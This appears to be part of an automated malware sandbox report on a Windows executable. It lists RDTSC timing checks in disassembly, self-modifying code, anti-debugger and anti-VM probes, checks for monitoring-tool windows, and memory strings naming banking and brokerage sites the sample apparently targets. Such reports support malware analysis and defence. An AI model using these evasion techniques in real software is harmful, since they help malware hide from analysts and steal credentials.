Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 548005D second address: 548006C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA8CB4845Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 548006C second address: 54800D6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA8CDD0FD9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 call 00007FAAFD3A6AAFh 0x0000000e push 75A52B70h 0x00000013 push dword ptr fs:[00000000h] 0x0000001a mov eax, dword ptr [esp+10h] 0x0000001e mov dword ptr [esp+10h], ebp 0x00000022 lea ebp, dword ptr [esp+10h] 0x00000026 sub esp, eax 0x00000028 push ebx 0x00000029 push esi 0x0000002a push edi 0x0000002b mov eax, dword ptr [75AB4538h] 0x00000030 xor dword ptr [ebp-04h], eax 0x00000033 xor eax, ebp 0x00000035 push eax 0x00000036 mov dword ptr [ebp-18h], esp 0x00000039 push dword ptr [ebp-08h] 0x0000003c mov eax, dword ptr [ebp-04h] 0x0000003f mov dword ptr [ebp-04h], FFFFFFFEh 0x00000046 mov dword ptr [ebp-08h], eax 0x00000049 lea eax, dword ptr [ebp-10h] 0x0000004c mov dword ptr fs:[00000000h], eax 0x00000052 ret 0x00000053 pushad 0x00000054 mov si, 6F93h 0x00000058 pushfd 0x00000059 jmp 00007FAA8CDD0FD8h 0x0000005e sub eax, 73476818h 0x00000064 jmp 00007FAA8CDD0FCBh 0x00000069 popfd 0x0000006a popad 0x0000006b sub esi, esi 0x0000006d push eax 0x0000006e push edx 0x0000006f push eax 0x00000070 push edx 0x00000071 jmp 00007FAA8CDD0FD1h 0x00000076 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54800D6 second address: 54800DC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54800DC second address: 54800F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAA8CDD0FD3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54800F3 second address: 54800F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480128 second address: 548012C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 548012C second address: 5480132 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480132 second address: 5480152 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FAA8CDD0FCAh 0x00000008 pop esi 0x00000009 mov eax, edi 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e test al, al 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 mov ecx, 2DB07F75h 0x00000018 mov ch, 9Dh 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480152 second address: 5480184 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA8CB4845Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007FAAFD10CC79h 0x0000000f jmp 00007FAA8CB48460h 0x00000014 cmp dword ptr [ebp+08h], 00002000h 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480184 second address: 5480189 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480B0D second address: 5480B25 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAA8CB48464h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480B25 second address: 5480B29 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480B29 second address: 5480B47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FAA8CB48463h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480B47 second address: 5480B8A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA8CDD0FD9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c jmp 00007FAA8CDD0FCEh 0x00000011 mov ebp, esp 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 jmp 00007FAA8CDD0FCDh 0x0000001b mov ch, 56h 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480B8A second address: 5480B90 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480B90 second address: 5480B94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480B94 second address: 5480BCD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA8CB48464h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f movsx edx, si 0x00000012 call 00007FAA8CB48466h 0x00000017 pop ecx 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480BCD second address: 5480C62 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA8CDD0FD0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FAA8CDD0FCBh 0x0000000f xchg eax, esi 0x00000010 jmp 00007FAA8CDD0FD6h 0x00000015 mov esi, dword ptr [ebp+0Ch] 0x00000018 pushad 0x00000019 pushfd 0x0000001a jmp 00007FAA8CDD0FCEh 0x0000001f sub si, C968h 0x00000024 jmp 00007FAA8CDD0FCBh 0x00000029 popfd 0x0000002a mov di, ax 0x0000002d popad 0x0000002e test esi, esi 0x00000030 jmp 00007FAA8CDD0FD2h 0x00000035 je 00007FAAFD39E73Dh 0x0000003b jmp 00007FAA8CDD0FD0h 0x00000040 cmp dword ptr [75AB459Ch], 05h 0x00000047 push eax 0x00000048 push edx 0x00000049 pushad 0x0000004a push eax 0x0000004b push edx 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480C62 second address: 5480C6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 movsx ebx, ax 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480C6A second address: 5480C7E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, ecx 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007FAAFD3B67EBh 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480C7E second address: 5480C82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480C82 second address: 5480C97 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA8CDD0FD1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480C97 second address: 5480CCC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA8CB48461h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a jmp 00007FAA8CB4845Eh 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FAA8CB4845Eh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480CCC second address: 5480CD2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480CD2 second address: 5480CD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480D4F second address: 5480D7D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, 4F77C24Eh 0x00000008 push edi 0x00000009 pop ecx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push esp 0x0000000e pushad 0x0000000f call 00007FAA8CDD0FCCh 0x00000014 mov bx, ax 0x00000017 pop esi 0x00000018 mov edx, 53B6CF62h 0x0000001d popad 0x0000001e mov dword ptr [esp], esi 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480D7D second address: 5480D81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480D81 second address: 5480D85 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480D85 second address: 5480D8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64B47DE second address: 64B47F6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA8CDD0FD1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64B47F6 second address: 64B4817 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAA8CB48469h 0x00000009 pop edi 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64C12E4 second address: 64C12E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64C158F second address: 64C1594 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64C18A2 second address: 64C18B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAA8CDD0FCCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64C18B2 second address: 64C18C8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA8CB4845Bh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64C40C7 second address: 64C40E1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [eax] 0x00000008 pushad 0x00000009 jnc 00007FAA8CDD0FCCh 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64C40E1 second address: 64C4134 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a push edi 0x0000000b push ebx 0x0000000c pushad 0x0000000d popad 0x0000000e pop ebx 0x0000000f pop edi 0x00000010 pop eax 0x00000011 mov ecx, ebx 0x00000013 push 00000003h 0x00000015 push esi 0x00000016 movzx edi, ax 0x00000019 pop ecx 0x0000001a push 00000000h 0x0000001c push 00000003h 0x0000001e push 00000000h 0x00000020 push edx 0x00000021 call 00007FAA8CB48458h 0x00000026 pop edx 0x00000027 mov dword ptr [esp+04h], edx 0x0000002b add dword ptr [esp+04h], 00000016h 0x00000033 inc edx 0x00000034 push edx 0x00000035 ret 0x00000036 pop edx 0x00000037 ret 0x00000038 jl 00007FAA8CB4845Ch 0x0000003e mov dword ptr [ebp+12448E1Eh], edi 0x00000044 push BA349BEDh 0x00000049 push eax 0x0000004a push edx 0x0000004b push eax 0x0000004c push edx 0x0000004d push eax 0x0000004e push edx 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64C4134 second address: 64C4138 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64C4138 second address: 64C4147 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA8CB4845Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64C4147 second address: 64C414C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64C414C second address: 64C41C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add dword ptr [esp], 05CB6413h 0x00000010 push 00000000h 0x00000012 push ebp 0x00000013 call 00007FAA8CB48458h 0x00000018 pop ebp 0x00000019 mov dword ptr [esp+04h], ebp 0x0000001d add dword ptr [esp+04h], 00000016h 0x00000025 inc ebp 0x00000026 push ebp 0x00000027 ret 0x00000028 pop ebp 0x00000029 ret 0x0000002a mov dword ptr [ebp+122D20CAh], edi 0x00000030 lea ebx, dword ptr [ebp+12449F36h] 0x00000036 or edi, dword ptr [ebp+122D2CF6h] 0x0000003c mov edx, dword ptr [ebp+122D2F26h] 0x00000042 xchg eax, ebx 0x00000043 ja 00007FAA8CB48464h 0x00000049 push eax 0x0000004a pushad 0x0000004b jp 00007FAA8CB48463h 0x00000051 push eax 0x00000052 push edx 0x00000053 jne 00007FAA8CB48456h 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64C422F second address: 64C4233 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64C4233 second address: 64C4237 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64C43B3 second address: 64C43B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64C43B9 second address: 64C43C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jo 00007FAA8CB4845Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64C44BE second address: 64C44C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64C44C3 second address: 64C44CD instructions: 0x00000000 rdtsc 0x00000002 jo 00007FAA8CB4845Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64E5B5F second address: 64E5B8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAA8CDD0FD2h 0x00000009 jng 00007FAA8CDD0FD7h 0x0000000f jmp 00007FAA8CDD0FCFh 0x00000014 push edi 0x00000015 pop edi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64E5B8C second address: 64E5B91 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64BB42C second address: 64BB430 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64E3BC4 second address: 64E3BC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64E3BC8 second address: 64E3BEC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA8CDD0FD8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jnp 00007FAA8CDD0FCEh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64E40A8 second address: 64E40CB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA8CB48469h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 92B7E9 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 92B8EB instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: AEC95B instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: ACDC08 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: B48B82 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 634DD11 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 64EC0A9 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 651256D instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 634DCBA instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 657DB22 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_06350C33 rdtsc

0_2_06350C33

Source: C:\Users\user\Desktop\file.exe TID: 7804	Thread sleep time: -32016s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7776	Thread sleep time: -32016s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7888	Thread sleep time: -210000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7792	Thread sleep time: -40020s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: file.exe, file.exe, 00000000.00000002.1724105326.00000000064CC000.00000040.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1718730826.0000000000AA6000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000003.1414814908.0000000005DD8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
Source: file.exe, 00000000.00000003.1414814908.0000000005DD8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
Source: file.exe, 00000000.00000003.1414814908.0000000005DD8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231}
Source: file.exe, 00000000.00000003.1414814908.0000000005DD8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696492231d
Source: file.exe, 00000000.00000003.1414814908.0000000005DD8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696492231
Source: file.exe, 00000000.00000003.1414814908.0000000005DD8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696492231s
Source: file.exe, 00000000.00000003.1414814908.0000000005DD8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
Source: file.exe, 00000000.00000003.1414814908.0000000005DD8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696492231
Source: file.exe, 00000000.00000003.1414814908.0000000005DD8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696492231
Source: file.exe, 00000000.00000003.1414814908.0000000005DD8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696492231x
Source: file.exe, 00000000.00000002.1719524648.0000000001637000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1719524648.000000000166D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000003.1414814908.0000000005DD8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
Source: file.exe, 00000000.00000003.1414814908.0000000005DD8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
Source: file.exe, 00000000.00000003.1414814908.0000000005DD8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696492231
Source: file.exe, 00000000.00000003.1414814908.0000000005DD8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696492231t
Source: file.exe, 00000000.00000003.1414814908.0000000005DDD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696492231p
Source: file.exe, 00000000.00000003.1414814908.0000000005DD8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
Source: file.exe, 00000000.00000003.1414814908.0000000005DD8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696492231f
Source: file.exe, 00000000.00000003.1414814908.0000000005DD8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696492231
Source: file.exe, 00000000.00000002.1719524648.00000000016B1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: file.exe, 00000000.00000003.1414814908.0000000005DD8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696492231j
Source: file.exe, 00000000.00000003.1414814908.0000000005DD8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696492231}
Source: file.exe, 00000000.00000003.1414814908.0000000005DD8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
Source: file.exe, 00000000.00000003.1414814908.0000000005DD8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696492231x
Source: file.exe, 00000000.00000003.1414814908.0000000005DD8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696492231h
Source: file.exe, 00000000.00000003.1414814908.0000000005DD8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696492231o
Source: file.exe, 00000000.00000003.1414814908.0000000005DD8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696492231u
Source: file.exe, 00000000.00000003.1414814908.0000000005DD8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231
Source: file.exe, 00000000.00000003.1414814908.0000000005DD8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
Source: file.exe, 00000000.00000003.1414814908.0000000005DD8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696492231
Source: file.exe, 00000000.00000002.1724105326.00000000064CC000.00000040.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1718730826.0000000000AA6000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: file.exe, 00000000.00000003.1414814908.0000000005DD8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696492231t
Source: file.exe, 00000000.00000003.1414814908.0000000005DD8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696492231\|UE
Source: file.exe, 00000000.00000003.1414814908.0000000005DD8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231x
Source: file.exe, 00000000.00000003.1414814908.0000000005DD8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696492231]

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger			Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
